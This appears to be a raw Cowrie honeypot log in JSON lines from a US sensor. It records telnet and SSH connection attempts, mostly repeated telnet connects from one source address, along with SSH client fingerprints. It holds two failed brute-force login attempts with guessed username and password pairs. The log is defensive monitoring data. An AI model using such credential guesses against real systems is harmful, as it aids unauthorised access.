{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45988,"dst_ip":"159.203.135.109","dst_port":23,"session":"86a447c06310","protocol":"telnet","message":"New connection: 174.142.104.49:45988 (159.203.135.109:23) [session: 86a447c06310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:26.771510Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50742,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8551b506c83","protocol":"telnet","message":"New connection: 174.142.104.49:50742 (159.203.135.109:23) [session: a8551b506c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:27.147077Z"}
{"eventid":"cowrie.session.closed","duration":0.005092144012451172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:27.152059Z","src_ip":"174.142.104.49","session":"a8551b506c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":41210,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e706e4df734","protocol":"ssh","message":"New connection: 200.105.172.184:41210 (159.203.135.109:22) [session: 2e706e4df734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:27.730720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:27.735947Z","src_ip":"200.105.172.184","session":"2e706e4df734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:27.859409Z","src_ip":"200.105.172.184","session":"2e706e4df734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f5g6h7j","message":"login attempt [root/1a2s3d4f5g6h7j] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:28.370241Z","src_ip":"200.105.172.184","session":"2e706e4df734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47758,"dst_ip":"159.203.135.109","dst_port":23,"session":"2caca0f9e860","protocol":"telnet","message":"New connection: 174.142.104.49:47758 (159.203.135.109:23) [session: 2caca0f9e860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:28.838226Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:29.493249Z","src_ip":"200.105.172.184","session":"2e706e4df734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.968442440032959,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:29.600555Z","src_ip":"175.136.142.1","session":"4b5067524db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50620,"dst_ip":"159.203.135.109","dst_port":23,"session":"3619d3d8ce07","protocol":"telnet","message":"New connection: 174.142.104.49:50620 (159.203.135.109:23) [session: 3619d3d8ce07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:29.690339Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49852,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b65195323a7","protocol":"telnet","message":"New connection: 174.142.104.49:49852 (159.203.135.109:23) [session: 6b65195323a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:30.234513Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41984,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b270298b0c4","protocol":"telnet","message":"New connection: 174.142.104.49:41984 (159.203.135.109:23) [session: 9b270298b0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:30.332525Z"}
{"eventid":"cowrie.session.closed","duration":0.013268470764160156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:30.345715Z","src_ip":"174.142.104.49","session":"9b270298b0c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47462,"dst_ip":"159.203.135.109","dst_port":23,"session":"68ae3ef245b8","protocol":"telnet","message":"New connection: 174.142.104.49:47462 (159.203.135.109:23) [session: 68ae3ef245b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:30.698283Z"}
{"eventid":"cowrie.session.closed","duration":32.13783264160156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:30.863757Z","src_ip":"161.132.53.68","session":"c57c84105952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52554,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b27159434b7","protocol":"telnet","message":"New connection: 174.142.104.49:52554 (159.203.135.109:23) [session: 7b27159434b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:31.958296Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42754,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ad916e0c75","protocol":"telnet","message":"New connection: 174.142.104.49:42754 (159.203.135.109:23) [session: 93ad916e0c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:32.073944Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48348,"dst_ip":"159.203.135.109","dst_port":23,"session":"72846bb2583a","protocol":"telnet","message":"New connection: 174.142.104.49:48348 (159.203.135.109:23) [session: 72846bb2583a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:32.234087Z"}
{"eventid":"cowrie.session.closed","duration":31.223792552947998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:32.704916Z","src_ip":"174.142.104.49","session":"025c7ec01ebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d94f7c1d31","protocol":"telnet","message":"New connection: 174.142.104.49:55324 (159.203.135.109:23) [session: 22d94f7c1d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:32.735769Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34746,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b43ae2d87e9","protocol":"telnet","message":"New connection: 174.142.104.49:34746 (159.203.135.109:23) [session: 6b43ae2d87e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:33.673630Z"}
{"eventid":"cowrie.session.closed","duration":0.006630897521972656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:33.680052Z","src_ip":"174.142.104.49","session":"6b43ae2d87e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78768014907837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:34.133608Z","src_ip":"174.142.104.49","session":"040fb0b918d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59102,"dst_ip":"159.203.135.109","dst_port":23,"session":"5993c4222c32","protocol":"telnet","message":"New connection: 174.142.104.49:59102 (159.203.135.109:23) [session: 5993c4222c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:35.182965Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60730,"dst_ip":"159.203.135.109","dst_port":23,"session":"e23f9259ded9","protocol":"telnet","message":"New connection: 174.142.104.49:60730 (159.203.135.109:23) [session: e23f9259ded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:36.232165Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":40488,"dst_ip":"159.203.135.109","dst_port":23,"session":"c599b559b78f","protocol":"telnet","message":"New connection: 161.132.53.68:40488 (159.203.135.109:23) [session: c599b559b78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:36.422589Z"}
{"eventid":"cowrie.session.closed","duration":31.355767726898193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:36.808747Z","src_ip":"174.142.104.49","session":"46a6248f8adf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59992,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c4730b6bfb8","protocol":"telnet","message":"New connection: 174.142.104.49:59992 (159.203.135.109:23) [session: 0c4730b6bfb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:36.823133Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60750,"dst_ip":"159.203.135.109","dst_port":23,"session":"219c8c010857","protocol":"telnet","message":"New connection: 174.142.104.49:60750 (159.203.135.109:23) [session: 219c8c010857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:39.241950Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43948,"dst_ip":"159.203.135.109","dst_port":23,"session":"6533fc717e2c","protocol":"telnet","message":"New connection: 174.142.104.49:43948 (159.203.135.109:23) [session: 6533fc717e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:39.279608Z"}
{"eventid":"cowrie.session.closed","duration":0.00859832763671875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:39.288052Z","src_ip":"174.142.104.49","session":"6533fc717e2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.379836559295654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:40.933675Z","src_ip":"174.142.104.49","session":"347f8a643752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.915030479431152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:42.148920Z","src_ip":"174.142.104.49","session":"a2a06e3957b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":33818,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc0629c1a7a1","protocol":"ssh","message":"New connection: 220.119.37.141:33818 (10.17.0.5:22) [session: fc0629c1a7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:42.718327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:42.723157Z","src_ip":"220.119.37.141","session":"fc0629c1a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43746,"dst_ip":"159.203.135.109","dst_port":23,"session":"15ee8c8ac576","protocol":"telnet","message":"New connection: 174.142.104.49:43746 (159.203.135.109:23) [session: 15ee8c8ac576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:42.747577Z"}
{"eventid":"cowrie.session.closed","duration":31.381683588027954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:42.888557Z","src_ip":"174.142.104.49","session":"acd15c677c61","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:42.918012Z","src_ip":"220.119.37.141","session":"fc0629c1a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.047740697860718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:43.138382Z","src_ip":"174.142.104.49","session":"9beb7c37a3da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37550,"dst_ip":"159.203.135.109","dst_port":23,"session":"8493064a06cc","protocol":"telnet","message":"New connection: 174.142.104.49:37550 (159.203.135.109:23) [session: 8493064a06cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:43.178113Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44916,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fd319d2fc62","protocol":"telnet","message":"New connection: 174.142.104.49:44916 (159.203.135.109:23) [session: 9fd319d2fc62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:43.479590Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43692,"dst_ip":"159.203.135.109","dst_port":23,"session":"44c6927a24ca","protocol":"telnet","message":"New connection: 174.142.104.49:43692 (159.203.135.109:23) [session: 44c6927a24ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:43.717478Z"}
{"eventid":"cowrie.login.failed","username":"ftpdata","password":"ftpdata","message":"login attempt [ftpdata/ftpdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:43.732271Z","src_ip":"220.119.37.141","session":"fc0629c1a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37102,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6e3de653b6f","protocol":"telnet","message":"New connection: 174.142.104.49:37102 (159.203.135.109:23) [session: a6e3de653b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:43.977519Z"}
{"eventid":"cowrie.session.closed","duration":30.388253688812256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:44.326169Z","src_ip":"174.142.104.49","session":"4c931bd2ffd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.84430503845215,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:44.731893Z","src_ip":"161.132.53.68","session":"d3f913fcce64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45664,"dst_ip":"159.203.135.109","dst_port":23,"session":"420512b525c0","protocol":"telnet","message":"New connection: 174.142.104.49:45664 (159.203.135.109:23) [session: 420512b525c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:44.906551Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:44.932025Z","src_ip":"220.119.37.141","session":"fc0629c1a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46642,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a81da9d308d","protocol":"telnet","message":"New connection: 174.142.104.49:46642 (159.203.135.109:23) [session: 7a81da9d308d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:45.492064Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46680,"dst_ip":"159.203.135.109","dst_port":23,"session":"339b97f7d875","protocol":"telnet","message":"New connection: 174.142.104.49:46680 (159.203.135.109:23) [session: 339b97f7d875]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:45.500451Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48676,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a4dd64b772","protocol":"telnet","message":"New connection: 174.142.104.49:48676 (159.203.135.109:23) [session: 31a4dd64b772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:45.667752Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35534,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab85b4daf65","protocol":"telnet","message":"New connection: 161.132.53.68:35534 (159.203.135.109:23) [session: 9ab85b4daf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:45.783999Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54606,"dst_ip":"159.203.135.109","dst_port":23,"session":"9092ab951059","protocol":"telnet","message":"New connection: 174.142.104.49:54606 (159.203.135.109:23) [session: 9092ab951059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:45.857763Z"}
{"eventid":"cowrie.session.closed","duration":0.006484031677246094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:45.863916Z","src_ip":"174.142.104.49","session":"9092ab951059","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47668,"dst_ip":"159.203.135.109","dst_port":23,"session":"76d13323344c","protocol":"telnet","message":"New connection: 174.142.104.49:47668 (159.203.135.109:23) [session: 76d13323344c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:46.041281Z"}
{"eventid":"cowrie.session.closed","duration":27.130935192108154,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:46.212670Z","src_ip":"174.142.104.49","session":"5dc6af3c0c67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.856380939483643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:46.239143Z","src_ip":"174.142.104.49","session":"f62572db4c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":74.9974274635315,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:46.323131Z","src_ip":"174.142.104.49","session":"75237a222a54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49890,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a4ab11fd4ae","protocol":"telnet","message":"New connection: 174.142.104.49:49890 (159.203.135.109:23) [session: 1a4ab11fd4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:47.381845Z"}
{"eventid":"cowrie.session.closed","duration":30.600348711013794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:47.387213Z","src_ip":"174.142.104.49","session":"ec1b4dfde66c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.450093507766724,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:48.201662Z","src_ip":"174.142.104.49","session":"0d3ee8e339ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":43252,"dst_ip":"159.203.135.109","dst_port":23,"session":"47e1d7244498","protocol":"telnet","message":"New connection: 161.132.53.68:43252 (159.203.135.109:23) [session: 47e1d7244498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:48.456319Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53376,"dst_ip":"159.203.135.109","dst_port":23,"session":"edbf30f1ca03","protocol":"telnet","message":"New connection: 174.142.104.49:53376 (159.203.135.109:23) [session: edbf30f1ca03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:48.578966Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53538,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01979e8328c","protocol":"telnet","message":"New connection: 174.142.104.49:53538 (159.203.135.109:23) [session: e01979e8328c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:48.661047Z"}
{"eventid":"cowrie.session.closed","duration":31.246169805526733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:48.727972Z","src_ip":"174.142.104.49","session":"ad6f9391808d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53716,"dst_ip":"159.203.135.109","dst_port":23,"session":"1134e557789c","protocol":"telnet","message":"New connection: 174.142.104.49:53716 (159.203.135.109:23) [session: 1134e557789c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:48.740125Z"}
{"eventid":"cowrie.session.closed","duration":31.338108777999878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:49.021009Z","src_ip":"174.142.104.49","session":"d8579ba7cd3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.36140584945679,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:49.123066Z","src_ip":"174.142.104.49","session":"97a64ec21291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60440,"dst_ip":"159.203.135.109","dst_port":23,"session":"671f7aa641e1","protocol":"telnet","message":"New connection: 174.142.104.49:60440 (159.203.135.109:23) [session: 671f7aa641e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:49.737663Z"}
{"eventid":"cowrie.session.closed","duration":31.509741067886353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:44:49.833649Z","src_ip":"174.142.104.49","session":"28ae99438a84","protocol":"telnet"}
